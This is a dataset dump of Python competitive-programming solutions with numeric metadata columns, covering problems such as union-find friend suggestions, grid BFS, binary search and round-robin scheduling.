d, m = divmod(x, 100)
D = [0] * 5
for i in range(4, -1, -1):
D[i], m = divmod(m, i + 1)
if d >= sum(D):
print(1)
else:
print(0)
| 0 | null | 64,425,899,117,430 | 54 | 266 |
import collections
class UnionFind:
def __init__(self, N):
self.parent = [i for i in range(N)]
self.rank = [0]*N
self.count = 0
def root(self, a):
if self.parent[a]==a:
return a
else:
self.parent[a]=self.root(self.parent[a])
return self.parent[a]
def size(x):
return -par[root(x)]
def is_same(self, a, b):
return self.root(a)==self.root(b)
def unite(self, a, b):
ra = self.root(a)
rb = self.root(b)
if ra == rb: return
if self.rank[ra] < self.rank[rb]:
self.parent[ra] = rb
else:
self.parent[rb] = ra
if self.rank[ra] == self.rank[rb]: self.rank[ra] += 1
self.count += 1
def main():
n,m,k=map(int, input().split())
friend = [0]*n
fr = UnionFind(n)
blocklist = [0]*n
for i in range(m):
a,b = map(int, input().split())
fr.unite(a-1,b-1)
friend[a-1]+=1
friend[b-1]+=1
for i in range(k):
c,d=map(int, input().split())
if(fr.root(c-1)==fr.root(d-1)):
blocklist[c-1]+=1
blocklist[d-1]+=1
res = []
dd = collections.defaultdict(int)
for i in range(n):
dd[fr.root(i)]+=1
for i in range(n):
res.append(dd[fr.root(i)]- blocklist[i] - friend[i]-1)
print(*res)
if __name__ == '__main__':
main()
|
import sys
ris=lambda:map(int,next(sys.stdin).split())
N,M,K=ris()
adj=[set() for _ in range(N)]
for _ in range(M):
A,B=ris()
A,B=A-1,B-1
adj[A].add(B)
adj[B].add(A)
colors=[-1]*N
ct={}
color=-1
for u in range(N):
if colors[u]!=-1:
continue
color+=1
colors[u]=color
stk=[u]
while stk:
u=stk.pop()
ct[color]=ct.get(color,0)+1
for v in adj[u]:
if colors[v]==-1:
colors[v]=color
stk.append(v)
blk=[{*()} for _ in range(N)]
for _ in range(K):
A,B=ris()
A,B=A-1,B-1
if colors[A]==colors[B]:
blk[A].add(B)
blk[B].add(A)
ans=[0]*N
for u in range(N):
c=colors[u]
g=len(adj[u])
b=len(blk[u])
k=ct[c]-1-g-b
ans[u]=k
print(*ans)
| 1 | 61,720,600,417,410 | null | 209 | 209 |
x = input()
if x == "0":
print(1)
elif x == "1":
print(0)
|
a = int(input())
if a == 0:
print("1")
else:
print("0")
| 1 | 2,955,347,080,640 | null | 76 | 76 |
A, B, N = map(int,input().split())
x = min(B-1, N)
print((A * x) // B - A * int(x // B))
|
n ,q = map(int, input().split())
ntlist = []
for i in range(n):
nt = list(map(str, input().split()))
ntlist.append(nt)
tp = 0
while (len(ntlist)):
nt = ntlist.pop(0)
if (int(nt[1])> q):
nt[1] = int(nt[1]) - q
tp += q
ntlist.append(nt)
else:
tp += int(nt[1])
nt[1] = 0
print(nt[0], tp)
| 0 | null | 14,151,137,946,450 | 161 | 19 |
n, m = map(int, input().split())
a = (n - 1) // 2
d = 1
memo = set([])
cnt = 0
for i in range(m):
if (n - d in memo) or (2*d == n):
cnt += 1
d += 1
memo.add(d)
if cnt > 1 or a < 1 or a+d > n:
print(1/0)
print(a, a+d)
a -= 1
d += 2
|
a,b=map(int,input().split())
num=1
while 1:
if int(num*0.08)==a and int(num*0.1)==b:
print(num)
break
if int(num*0.08)>a and int(num*0.1)>b:
print(-1)
break
num+=1
| 0 | null | 42,296,785,571,000 | 162 | 203 |
n = int(input())
songs = []
for _ in range(n):
s, t = input().split()
t = int(t)
songs.append((s, t))
x = input()
ans = 0
flag = False
for s, t in songs:
if flag:
ans += t
if s == x:
flag = True
print(ans)
|
#!/usr/bin/env python3
import sys, math, itertools, collections, bisect
input = lambda: sys.stdin.buffer.readline().rstrip().decode('utf-8')
inf = float('inf') ;mod = 10**9+7
mans = inf ;ans = 0 ;count = 0 ;pro = 1
n,m=map(int,input().split())
A=sorted(map(int,input().split()))
B=[0]+A[:]
for i in range(n):
B[i+1]+=B[i]
def solve_binary(mid):
tmp=0
for i,ai in enumerate(A):
tmp+=n-bisect.bisect_left(A,mid-ai)
return tmp>=m
def binary_search(n):
ok=0
ng=n
while abs(ok-ng)>1:
mid=(ok+ng)//2
if solve_binary(mid):
ok=mid
else:
ng=mid
return ok
binresult=binary_search(2*10**5+1)
for i ,ai in enumerate(A):
ans+=ai*(n-bisect.bisect_left(A,binresult-ai))+B[n]-B[bisect.bisect_left(A,binresult-ai)]
count+=n-bisect.bisect_left(A,binresult-ai)
# print(ans,count)
ans-=binresult*(count-m)
print(ans)
# print(binresult)
| 0 | null | 102,172,582,365,740 | 243 | 252 |
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import sys
def judge(W, H, x, y, r):
if (x - r) >= 0 and (y - r) >= 0 and\
(x + r) <= W and (y + r) <= H:
print "Yes"
else:
print "No"
W, H, x, y, r = map(int, raw_input().split())
if -100 <= x <= 100 and -100 <= y <= 100 and \
0 < W <= 100 and 0 < H <= 100 and 0 < r <= 100:
judge(W, H, x, y, r)
else:
print "error!!"
sys.exit(0)
|
W, H, x, y, r = map(int, input().split())
if x - r < 0 or x + r > W or y - r < 0 or y + r > H:
print('No')
else:
print('Yes')
| 1 | 455,763,665,568 | null | 41 | 41 |
N=input()
if int(N[-1]) in [2,4,5,7,9]:
print('hon')
elif int(N[-1]) in [3]:
print('bon')
else:
print('pon')
|
h =[2, 4, 5, 7, 9]
b = [0, 1, 6, 8]
p = [3]
n = int(input())
x = int(n) - (int(int(n)/10)*10)
for i in h:
if i == x:
print("hon")
for i in b:
if i == x:
print("pon")
for i in p:
if i == x:
print("bon")
| 1 | 19,324,472,541,572 | null | 142 | 142 |
temperature = int(input())
if temperature >= 30:
print('Yes')
else:
print('No')
|
import sys
import io, os
#input = sys.stdin.buffer.readline
input = io.BytesIO(os.read(0,os.fstat(0).st_size)).readline
h, w, m = map(int, input().split())
R = [0]*h
C = [0]*w
YX = []
for i in range(m):
y, x = map(int, input().split())
y, x = y-1, x-1
R[y] +=1
C[x] +=1
YX.append((y, x))
max_r = max(R)
max_c = max(C)
cr = 0
cc = 0
for i in range(h):
if R[i] == max_r:
cr += 1
for i in range(w):
if C[i] == max_c:
cc +=1
c = 0
for y, x in YX:
if R[y] == max_r and C[x] == max_c:
c += 1
if c < cr*cc:
print(max_r+max_c)
else:
print(max_r+max_c-1)
| 0 | null | 5,195,623,780,640 | 95 | 89 |
N = int(input())
xys = set([tuple(map(int, input().split())) for _ in range(N)])
z = []
w = []
for xy in xys:
z.append(xy[0]+xy[1])
w.append(xy[0]-xy[1])
#print(z)
#print(w)
print(max(abs(max(z) - min(z)), abs(max(w) - min(w))))
|
N,K=map(int,input().split())
p=list(map(int,input().split()))
q=[]
q.append(0)
for i in range(len(p)):
q.append(q[-1]+p[i])
maxi=q[K]-q[0]
for i in range(1,N-K+1):
sub=q[K+i]-q[i]
if sub>=maxi:
maxi=sub
print((maxi+K)/2)
| 0 | null | 39,332,705,023,890 | 80 | 223 |
import bisect
n=int(input())
lis=list(map(int, input().split()))
lis.sort()
out=0
for i in range(n):
for j in range(1+i,n):
out+=bisect.bisect_left(lis,lis[i]+lis[j])-j-1
print(out)
|
import bisect
def main():
n = int(input())
l_lst = list(map(int, input().split()))
l_lst.sort()
count = 0
for i in range(n - 1):
for j in range(i + 1, n):
a = l_lst[i]
b = l_lst[j]
tmp = bisect.bisect_left(l_lst, a + b)
tmp -= j + 1
tmp = max(0, tmp)
count += tmp
print(count)
if __name__ == '__main__':
main()
| 1 | 172,163,668,887,936 | null | 294 | 294 |
import sys
from collections import deque
input_lines = sys.stdin.readlines()
doublyLinkedList = deque()
for x in input_lines[1:]:
oneLine = x.split()
if 'insert' in oneLine[0]:
doublyLinkedList.appendleft((int)(oneLine[1]))
elif 'delete' == oneLine[0]:
remove_value = (int)(oneLine[1])
if remove_value in doublyLinkedList:
doublyLinkedList.remove(remove_value)
elif 'deleteFirst'in oneLine[0]:
doublyLinkedList.popleft()
elif 'deleteLast' in oneLine[0]:
doublyLinkedList.pop()
print(*doublyLinkedList)
|
import sys
input = sys.stdin.readline
H,W,K =list(map(int,input().split()))
s = [input().rstrip() for _ in range(H)]
cut = [[0]*W for _ in range(H)]
cnt =0
for ih in range(H):
if s[ih].count('#')==0:
continue
else:
for iw in range(W):
if s[ih][iw] == '#':
cnt +=1
cut[ih][iw]= cnt
for ih in range(H):
for iw in range(W-1):
if cut[ih][iw+1] ==0:
cut[ih][iw+1]= cut[ih][iw]
for iw in range(W-1,0,-1):
if cut[ih][iw-1] ==0:
cut[ih][iw-1]= cut[ih][iw]
for ih in range(H-1):
if cut[ih+1][0]==0:
for iw in range(W):
cut[ih+1][iw] = cut[ih][iw]
for ih in range(H-1,0,-1):
if cut[ih-1][0]==0:
for iw in range(W):
cut[ih-1][iw] = cut[ih][iw]
for i in range(H):
print(*cut[i])
| 0 | null | 71,752,884,454,006 | 20 | 277 |
from itertools import accumulate
n, k = map(int, input().split())
a = list(map(int, input().split()))
for i in range(k):
b = [0] * (n + 1)
for j in range(n):
b[max(0, j - a[j])] += 1
b[min(n, j + a[j] + 1)] -= 1
a = list(accumulate(b))
if sum(a) == n ** 2:
a.pop()
print(*a)
exit()
a.pop()
print(*a)
|
import collections
n = int(raw_input())
def g( a, b , n):
count = 0
## CASE 1
if a == b and a <=n :
count +=1
## CASE 2
if a *10 + b <= n:
count +=1
if len(str(n)) <=2:
return count
## CASE 3
s = str(n)
if len(s) - 3 >= 1:
count += 10 ** (len(s) - 3)
## CASE 4
s = str(n)
if a == int(s[0]):
m = s[1:-1]
if m != '':
#0,m-1
count += int(m)
if b <= int(s[-1]):
count +=1
elif a < int(s[0]):
count += 10 ** (len(s) - 2)
return count
h = collections.Counter()
for k in range(1, n+1):
ks = str(k)
a,b = int(ks[0]), int(ks[-1])
h[(a,b)] +=1
s= 0
for a in range(1,10):
for b in range(1,10):
s += h[(a,b)] * h[(b,a)]
print s
| 0 | null | 51,230,572,246,620 | 132 | 234 |
n = input()
s = []
h = []
c = []
d = []
for i in range(n):
spare = raw_input().split()
if spare[0]=='S':
s.append(int(spare[1]))
elif spare[0]=='H':
h.append(int(spare[1]))
elif spare[0]=='C':
c.append(int(spare[1]))
else :
d.append(int(spare[1]))
for j in range(1,14):
judge = True
for k in range(len(s)):
if j==s[k] :
judge = False
break
if judge :
print 'S %d' %j
for j in range(1,14):
judge = True
for k in range(len(h)):
if j==h[k] :
judge = False
break
if judge :
print 'H %d' %j
for j in range(1,14):
judge = True
for k in range(len(c)):
if j==c[k] :
judge = False
break
if judge :
print 'C %d' %j
for j in range(1,14):
judge = True
for k in range(len(d)):
if j==d[k] :
judge = False
break
if judge :
print 'D %d' %j
|
h1, m1, h2, m2, k = map(int, input().split())
a1 = 60*h1 + m1
a2 = 60*h2 + m2
duration = abs(a2-a1)
ans = duration-k
if ans > 0:
print(ans)
else:
print(0)
| 0 | null | 9,517,317,227,992 | 54 | 139 |
import math
x=int(input())
def is_prime(n):
if n <= 1:
return False
for i in range(2, int(math.sqrt(n)) +1):
if n % i == 0:
return False
return True
for i in range(x, 100003+1):
if is_prime(i):
print(i)
exit()
|
a=0
while True:
z=str(input())
if z == '0' :
break
for i in z:
k=int(i)
a+=k
print(a)
a=0
| 0 | null | 53,644,206,386,624 | 250 | 62 |
from itertools import combinations
n = int(input())
def dfs(s):
if len(s) == n:
print(s)
return 0
for i in range(ord('a'), ord(max(s))+2):
t = s
t += chr(i)
dfs(t)
dfs('a')
|
MOD = 10 ** 9 + 7
INF = 10 ** 11
import sys
sys.setrecursionlimit(100000000)
N = int(input())
ans = []
def dfs(i,standard):
if i == N:
ans.append(standard)
return
before_M = max(ord(s) for s in standard)
for j in range(97,before_M + 2):
dfs(i + 1,standard + chr(j))
dfs(1,'a')
print('\n'.join(ans))
| 1 | 52,195,287,462,268 | null | 198 | 198 |
import sys
from collections import defaultdict
from functools import lru_cache
read = sys.stdin.buffer.read
readline = sys.stdin.buffer.readline
readlines = sys.stdin.buffer.readlines
MOD = 10**9 + 7
P = 2 ** 61 - 1
N = int(readline())
m = map(int, read().split())
A, B = zip(*zip(m, m))
pow2 = [1] * (N + 10)
for n in range(1, N + 10):
pow2[n] = pow2[n - 1] * 2 % MOD
@lru_cache(None)
def inv_mod(a):
b = P
u, v = 1, 0
while a:
t = b // a
a, b = b - t * a, a
u, v = v - t * u, u
if b < 0:
v = -v
return v % P
def to_key(a, b):
if a == 0:
return -1
x = inv_mod(a) * b % P
return x
def pair_key(key):
if key == -1:
return 0
if key == 0:
return -1
return P - inv_mod(key)
counter = defaultdict(int)
origin = 0
for a, b in zip(A, B):
if a == b == 0:
origin += 1
continue
key = to_key(a, b)
counter[key] += 1
answer = origin
k = 1
for key, cnt in counter.items():
key1 = pair_key(key)
if key1 not in counter:
k *= pow(2, cnt, MOD)
elif key < key1:
x, y = cnt, counter[key1]
k *= pow(2, x, MOD) + pow(2, y, MOD) - 1
k %= MOD
answer += k - 1
answer %= MOD
print(answer)
|
n=int(input())
s=input()
cnt=0
def judge(n):
pos=0
pos=s.find(n[0],pos)
if pos==-1:
return 0
pos=s.find(n[1],pos+1)
if pos==-1:
return 0
pos=s.find(n[2],pos+1)
if pos==-1:
return 0
return 1
for i in range(1000):
p=str(i).rjust(3,'0')
if judge(p):
cnt+=1
print(cnt)
| 0 | null | 74,945,570,616,892 | 146 | 267 |
import math
n, a, b = map(int, input().split())
mod = 10**9 + 7
s = pow(2, n, mod) - 1
def cal(n, r):
p = 1
q = 1
for i in range(r):
p = p*(n-i)%mod
q = q*(i+1)%mod
return p*pow(q, mod-2, mod)%mod
print((s - cal(n, a) - cal(n, b))%mod)
|
n, k = (int(i) for i in input().split())
list_h = sorted([int(i) for i in input().split()])
if list_h[-1] < k:
print("0")
exit()
count = 0
for count in range(0, n):
if list_h[count] >= k: break
print(len(list_h[count:]))
| 0 | null | 122,661,814,972,240 | 214 | 298 |
import sys
from collections import deque
H,W=map(int,input().split())
S=list(sys.stdin)
ans=0
for i in range(H):
for j in range(W):
if S[i][j]=='#':
continue
dist=[[-1]*W for _ in range(H)]
dist[i][j]=0
que=deque()
que.append((i,j))
while que:
i,j=que.popleft()
ans=max(ans,dist[i][j])
for ni,nj in (i-1,j),(i,j+1),(i+1,j),(i,j-1):
if not (0<=ni<H and 0<=nj<W):
continue
if S[ni][nj]=='#' or dist[ni][nj]!=-1:
continue
dist[ni][nj]=dist[i][j]+1
que.append((ni,nj))
print(ans)
|
import networkx as nx
H, W = map(int, input().split())
maze = [input() for _ in range(H)]
G = nx.Graph()
# 辺を加えていく
for h in range(H):
for w in range(W - 1):
if maze[h][w] == maze[h][w + 1] == '.':
G.add_edge((h, w), (h, w + 1))
for h in range(H - 1):
for w in range(W):
if maze[h][w] == maze[h + 1][w] == '.':
G.add_edge((h, w), (h + 1, w))
def bfs(sy, sx):
d = dict()
d[(sy, sx)] = 0
for coordinate_from, coordinate_to in nx.bfs_edges(G, (sy, sx)):
d[coordinate_to] = d[coordinate_from] + 1
return max(d.values())
ans = 0
for y in range(H):
for x in range(W):
if maze[y][x] == '.':
ans = max(ans, bfs(y, x))
print(ans)
| 1 | 94,738,599,973,120 | null | 241 | 241 |
n,q = map(int,input().split())
queue = []
for i in range(n):
p,t = map(str,(input().split()))
t = int(t)
queue.append([p,t])
total_time = 0
while len(queue) > 0:
x = queue.pop(0)
if x[1] > q :
total_time += q
x[1] -= q
queue.append(x)
else:
total_time += x[1]
print(x[0],total_time)
|
a=int(input())
b=list(map(int,input().split()))
c=[0,0,0]
ans=1
mod=1000000007
for i in b:
d=0
for j in c:
if i==j:
d+=1
if d==0:
ans = 0
break
else:
ans=ans*d%mod
for j in range(3):
if i==c[j]:
c[j]+=1
break
print(ans)
| 0 | null | 65,330,203,689,522 | 19 | 268 |
# coding: utf-8
# 日本語を入力できるようにするために上記一文が必要
N = int(input())
A_input = list(map( int, input().split()))
j_sum = 0
for j in range(N):
j_sum = j_sum + A_input[j]
sum = 0
for i in range(N - 1 ):
j_sum = j_sum - A_input[i]
sum = sum + A_input[i] * j_sum
print(sum % (10**9 + 7) )
|
n = int(input())
if n == 0:
print(1)
else:
print(0)
| 0 | null | 3,423,594,254,750 | 83 | 76 |
x,y = map(int,input().split())
if x > 3:
x = 4
if y > 3:
y = 4
ans = 0
if x == y == 1:
ans += 400000
ans += (8-x-y)*100000
print(ans)
|
s = 0
a = 0
for i in map(int, input().split()):
s += max(0, (4 - i) * 100000)
if i == 1:
a += 1
if a == 2:
s += 400000
print(s)
| 1 | 140,363,741,383,338 | null | 275 | 275 |
import sys
def shuffle(str, h):
head = str[0:h]
tail = str[h:]
shuffled_str = tail + head
return shuffled_str
#fin = open("test.txt", "r")
fin = sys.stdin
while True:
str = fin.readline()
str = str.rstrip("\n")
if(str == "-"):
break
m = int(fin.readline())
for i in range(m):
h = int(fin.readline())
str = shuffle(str, h)
print(str)
|
while True:
temp = input()
if temp == '-':
break
else:
cards = temp
for i in range(int(input())):
h = int(input())
cards = cards[h:] + cards[:h]
print(cards)
| 1 | 1,900,141,631,098 | null | 66 | 66 |
from collections import defaultdict
import sys
input = sys.stdin.readline
sys.setrecursionlimit(10**7)
pc_memo = defaultdict(int)
memo = defaultdict(int)
def to_next(x):
if x not in pc_memo.keys():
pc_memo[x] = x % "{:b}".format(x).count('1')
return pc_memo[x]
def f(x):
if x == 0:
return 0
if x not in memo.keys():
memo[x] = f(to_next(x))+1
return memo[x]
for i in range(2*10**5):
f(i)
n = int(input())
x = input().rstrip()
one_cnt = x.count('1')
mod_minus = 0
mod_plus = 0
for i, a in enumerate(reversed(x)):
if a == '1':
if 0 < one_cnt-1:
mod_minus += pow(2, i, one_cnt-1)
mod_minus %= one_cnt-1
mod_plus += pow(2, i, one_cnt+1)
mod_plus %= one_cnt+1
for i in range(n):
if x[i] == '0':
nx = mod_plus+pow(2, n-i-1, one_cnt+1)
nx %= one_cnt+1
print(f(nx)+1)
else:
if 0 < one_cnt-1:
nx = mod_minus-pow(2, n-i-1, one_cnt-1)
nx %= one_cnt-1
print(f(nx)+1)
else:
print(0)
|
#!/usr/bin python3
# -*- coding: utf-8 -*-
def pc(x):
return format(x, 'b').count('1')
N = int(input())
X = input()
Xn = int(X,2)
p = pc(Xn)
X = list(X)
Xp = Xn%(p+1)
if p==1:
Xm = 0
else:
Xm = Xn%(p-1)
def f(i):
if p==1 and X[i]=='1':
#Xi == 0 > POPcount ==0
return 0
else:
if X[i]=='1':
# p->p-1
ret = Xm - pow(2, N-1-i, p-1)
ret %= p-1
else:
# p->p+1
ret = Xp + pow(2, N-1-i, p+1)
ret %= p+1
cnt = 1
while ret > 0:
ret %= pc(ret)
cnt += 1
return cnt
def main():
for i in range(N):
ret = f(i)
print(ret)
if __name__ == '__main__':
main()
| 1 | 8,197,683,731,130 | null | 107 | 107 |
import math
import itertools
n = int(input())
k = int(input())
f = len(str(n))
if f < k:
print(0)
else:
#f-1桁以内に収まる数
en = 1
for i in range(k):
en *= f-1-i
de = math.factorial(k)
s = en // de * pow(9, k)
#f桁目によって絞る
kami = int(str(n)[0])
en = 1
for i in range(k-1):
en *= f-1-i
de = math.factorial(k-1)
s += (en // de * pow(9, k-1)) * (kami-1)
#以下上1桁は同じ数字
keta = list(range(f-1))
num = list(range(1,10))
b = kami * pow(10, f-1)
m = 0
if k == 1:
m = b
if m <= n:
s += 1
else:
for d in itertools.product(num, repeat=k-1):
for c in itertools.combinations(keta, k-1):
m = b
for i in range(k-1):
m += d[i] * pow(10, c[i])
if m <= n:
s += 1
print(s)
|
import sys
sys.setrecursionlimit(10**7) #再帰関数の上限,10**5以上の場合python
import math
from copy import copy, deepcopy
from copy import deepcopy as dcp
from operator import itemgetter
from bisect import bisect_left, bisect, bisect_right#2分探索
#bisect_left(l,x), bisect(l,x)#aはソート済みである必要あり。aの中からx未満の要素数を返す。rightだと以下
from collections import deque
#deque(l), pop(), append(x), popleft(), appendleft(x)
##listでqueの代用をするとO(N)の計算量がかかってしまうので注意
from collections import Counter#文字列を個数カウント辞書に、
#S=Counter(l),S.most_common(x),S.keys(),S.values(),S.items()
from itertools import accumulate,combinations,permutations#累積和
#list(accumulate(l))
from heapq import heapify,heappop,heappush
#heapify(q),heappush(q,a),heappop(q) #q=heapify(q)としないこと、返り値はNone
#import fractions#古いatcoderコンテストの場合GCDなどはここからimportする
from functools import lru_cache#pypyでもうごく
#@lru_cache(maxsize = None)#maxsizeは保存するデータ数の最大値、2**nが最も高効率
from decimal import Decimal
def input():
x=sys.stdin.readline()
return x[:-1] if x[-1]=="\n" else x
def printl(li): _=print(*li, sep="\n") if li else None
def argsort(s, return_sorted=False):
inds=sorted(range(len(s)), key=lambda k: s[k])
if return_sorted: return inds, [s[i] for i in inds]
return inds
def alp2num(c,cap=False): return ord(c)-97 if not cap else ord(c)-65
def num2alp(i,cap=False): return chr(i+97) if not cap else chr(i+65)
def matmat(A,B):
K,N,M=len(B),len(A),len(B[0])
return [[sum([(A[i][k]*B[k][j]) for k in range(K)]) for j in range(M)] for i in range(N)]
def matvec(M,v):
N,size=len(v),len(M)
return [sum([M[i][j]*v[j] for j in range(N)]) for i in range(size)]
def T(M):
n,m=len(M),len(M[0])
return [[M[j][i] for j in range(n)] for i in range(m)]
def main():
mod = 1000000007
#w.sort(key=itemgetter(1),reversed=True) #二個目の要素で降順並び替え
N = input()
K= int(input())
#N, K = map(int, input().split())
#A = tuple(map(int, input().split())) #1行ベクトル
#L = tuple(int(input()) for i in range(N)) #改行ベクトル
#S = tuple(tuple(map(int, input().split())) for i in range(N)) #改行行列
keta=100+1
dp=[[0]*(keta+1) for _ in range(keta+1)]
dp[0][0]=1
for i in range(1,keta+1):
for j in range(0,i+1):
dp[i][j]+=dp[i-1][j]+dp[i-1][j-1]*9
l=len(N)
cur0=0
tot=0
for i,si in enumerate(N):
n=int(si)
if n!=0:
tot+=(n-1)*dp[l-1-i][K-i-1+cur0]+dp[l-1-i][K-i+cur0]
else:
cur0+=1
ic=0
for s in N:
if s!='0':ic+=1
if ic==K:tot+=1
print(tot)
if __name__ == "__main__":
main()
| 1 | 75,822,092,403,994 | null | 224 | 224 |
n,k = map(int,input().split())
count=0
l= list(map(int,input().split()))
for i in range(len(l)):
if l[i]>=k:
count=count+1
print(count)
|
import sys
def solve():
readline = sys.stdin.buffer.readline
mod = 10 ** 9 + 7
h, w, k = list(map(int, readline().split()))
s = [list(str(readline().rstrip().decode('utf-8'))) for _ in range(h)]
cnt = 0
ls = []
lsd = -1
for i in range(h):
if s[i].count("#") != 0:
lsd = i
is_f = True
cnt += 1
for j in range(w):
if s[i][j] == "#":
if is_f:
is_f = False
else:
cnt += 1
s[i][j] = cnt
while ls:
ti = ls.pop()
for j in range(w):
s[ti][j] = s[i][j]
else:
ls.append(i)
if i == h - 1:
while ls:
ti = ls.pop()
for j in range(w):
s[ti][j] = s[lsd][j]
for i in range(len(s)):
print(*s[i])
if __name__ == '__main__':
solve()
| 0 | null | 160,869,046,809,058 | 298 | 277 |
n=int(input())
a=list(map(int,input().split()))
mod=10**9+7
d=[-1,-1,-1]
ans=1
for aa in a:
ans*=d.count(aa-1)
ans%=mod
if aa-1 in d:
d[d.index(aa-1)]+=1
print(ans)
|
p = 1000000007
n = int(input())
A = list(map(int, input().split()))
ans = 1
cnt = [3 if i == 0 else 0 for i in range(n+1)]
for a in A:
ans *= cnt[a]
ans %= p
if ans == 0:
break
cnt[a] -= 1
cnt[a+1] += 1
print(ans)
| 1 | 130,327,993,426,268 | null | 268 | 268 |
s = input()
n = len(s)
def check(r):
if r == r[::-1]:
return True
print("Yes" if check(s) and check(s[:(n-1)//2])
and check(s[((n-1)//2) + 1:]) else "No")
|
import sys
input=lambda: sys.stdin.readline().strip()
n=int(input())
A=[]
#
PM=[[0,0] for i in range(n)]
for i in range(n):
now=0
mini=0
for j in input():
if j=="(": now+=1
else:
now-=1 ; mini=min(mini,now)
PM[i]=[mini,now]
if sum( [PM[i][1] for i in range(n)] )!=0 :
print("No")
exit()
MINI=0
NOW=0
PMf=[PM[i] for i in range(n) if PM[i][1]>=0]
PMf.sort()
for i in range(len(PMf)):
MINI=min(MINI , NOW+PMf[-i-1][0] )
NOW+=PMf[-i-1][1]
if MINI<0 : print("No") ; exit()
PMs=[PM[i] for i in range(n) if PM[i][1]<0]
PMs=sorted(PMs , key=lambda x : x[1]-x[0])
for i in range(len(PMs)):
MINI=min(MINI , NOW+PMs[-i-1][0] )
NOW+=PMs[-i-1][1]
if MINI<0 : print("No") ; exit()
print("Yes")
| 0 | null | 35,028,426,382,962 | 190 | 152 |
# -*- coding: utf-8 -*-
while True:
line = map(str, raw_input().split())
H = int(line[0])
W = int(line[1])
if H+W:
for i in range(H):
print "#"*W
print ""
else:
break
|
import copy
n,m = map(int,input().split())
a = set(list(map(int,input().split())))
a = list(a)
a_div2 = [0]*len(a)
a2 = copy.deepcopy(a)
# for i in range(len(a)):
# if a[i] % 2 == 1:
# print(0)
# exit()
for i in range(len(a)):
while a2[i] % 2 == 0:
a2[i] //= 2
a_div2[i] += 1
if len(set(a_div2)) != 1:
print(0)
exit()
def gcd(a,b):
while b != 0:
a, b = b, a % b
return a
def lcm(a,b):
return a // gcd(a,b) * b
if len(a) == 1:
if m < a[0]//2:
print(0)
else:
print((m-a[0]//2)//a[0] + 1)
else:
cnt = 1
for i in range(len(a)):
a[i] //= 2
cnt = lcm(cnt,a[i])
if m < cnt:
print(0)
else:
print((m-cnt)//(cnt*2)+1)
| 0 | null | 51,347,798,652,524 | 49 | 247 |
while True:
H, W = map(int, input().split())
if H == 0 and W == 0:
break
print('#' * W)
for i in range(1,H-1):
print('#', end='')
for j in range(1,W-1):
print('.', end='')
print('#')
print('#' * W)
print()
|
n = int(input())
arrey = [int(i) for i in input().split()]
count = 0
for i in range(len(arrey)):
minj = i
change = False
for j in range(i+1, len(arrey)):
if arrey[minj] > arrey[j]:
minj = j
change = True
if change:
arrey[i], arrey[minj] = arrey[minj], arrey[i]
count += 1
for i in range(len(arrey)):
print(str(arrey[i])+' ',end='') if i != len(arrey)-1 else print(arrey[i])
print(count)
| 0 | null | 419,133,136,712 | 50 | 15 |
a = int(input())
ans = 0
for i in [1, 2, 3]:
ans += a ** i
print(ans)
|
N=int(input())
s=set()
for _ in range(N):
S=input()
s|={S}
print(len(s))
| 0 | null | 20,376,213,214,542 | 115 | 165 |
H = int(input())
import math
def caracal(H):
if H == 1:
return 1
return 2*caracal(math.floor(H/2)) + 1
print(caracal(H))
|
import math
H = int(input())
ans = 0
num = 0
while True:
ans += 2**num
if H == 1:
print(ans)
break
else:
H = math.floor(H/2)
num += 1
| 1 | 79,761,590,893,812 | null | 228 | 228 |
class UnionFind():
def __init__(self, n):
self.n = n
self.parents = [-1] * n
def find(self, x):
if self.parents[x] < 0:
return x
else:
self.parents[x] = self.find(self.parents[x])
return self.parents[x]
def union(self, x, y):
x = self.find(x)
y = self.find(y)
if x == y:
return
if self.parents[x] > self.parents[y]:
x, y = y, x
self.parents[x] += self.parents[y]
self.parents[y] = x
def size(self, x):
return -self.parents[self.find(x)]
def same(self, x, y):
return self.find(x) == self.find(y)
def members(self, x):
root = self.find(x)
return [i for i in range(self.n) if self.find(i) == root]
def roots(self):
return [i for i, x in enumerate(self.parents) if x < 0]
def group_count(self):
return len(self.roots())
def all_group_members(self):
return {r: self.members(r) for r in self.roots()}
def __str__(self):
return '\n'.join('{}: {}'.format(r, self.members(r)) for r in self.roots())
N, M, K = map(int, input().split())
c = [0] * (N + 1)
C = [0] * K
D = [0] * K
uf = UnionFind(N)
for i in range(M):
a, b = map(int, input().split())
uf.union(a-1, b-1)
c[a] += 1
c[b] += 1
for i in range(K):
C[i], D[i] = map(int, input().split())
for i in range(1,N + 1):
c[i] = uf.size(i-1) - c[i] - 1
for i in range(K):
if uf.same(C[i]-1, D[i]-1):
c[C[i]] -= 1
c[D[i]] -= 1
for i in range(1, N+1):
print(c[i], end=" ")
|
import sys
from collections import deque
input = sys.stdin.readline
n, m, k = list(map(int, input().split()))
ab = [list(map(int, input().split())) for _ in range(m)]
cd = [list(map(int, input().split())) for _ in range(k)]
ff = [[] for _ in range(n+1)]
for a, b in ab:
ff[a].append(b)
ff[b].append(a)
visited = [False] * (n+1)
visited[0] = True
com = [-1] * (n+1)
def dfs(v, ff, visited, com, g):
q = deque([v])
visited[v] = True
com[v] = g
k = 1
while len(q) > 0:
w = q.pop()
for x in ff[w]:
if not visited[x]:
q.append(x)
visited[x] = True
com[x] = g
k += 1
return k
g = 0
group_num = []
for i in range(1, n+1):
if visited[i]:
pass
else:
k = dfs(i, ff, visited, com, g)
group_num.append(k)
g += 1
#print(com)
friends = [0] * (n+1)
for i in range(1, n+1):
friends[i] += group_num[com[i]] - 1
for a, b in ab:
if com[a] == com[b]:
friends[a] -= 1
friends[b] -= 1
for c, d in cd:
if com[c] == com[d]:
friends[c] -= 1
friends[d] -= 1
print(" ".join(map(str, friends[1:])))
| 1 | 61,337,475,972,790 | null | 209 | 209 |
k = int(input())
a = 'ACL'
print(a*k)
|
#
# ACL_A
#
n = input()
n = int(n)
for i in range(n):
print("ACL", end='')
| 1 | 2,194,145,598,754 | null | 69 | 69 |
import sys
H,W,M = map(int,input().split())
s = [[int(item) -1 for item in input().split()] for _ in range(M)]
# print(s)
col = [0 for _ in range(H)]
row = [0 for _ in range(W)]
bomb_set = set()
# 各列と行で個数を配列
for i,j in s:
col[i] += 1
row[j] += 1
bomb_set.add((i,j)) # 爆弾のある位置
# print(col)
# print(row)
# print(bomb_set)
max_col = max(col)
max_row = max(row)
# 最大の行と列を配列
max_col_index = []
max_row_index = []
# 最大の行を探す
for i in range(H):
if col[i] == max_col:
max_col_index.append(i)
# 最大の列を探す
for j in range(W):
if row[j] == max_row:
max_row_index.append(j)
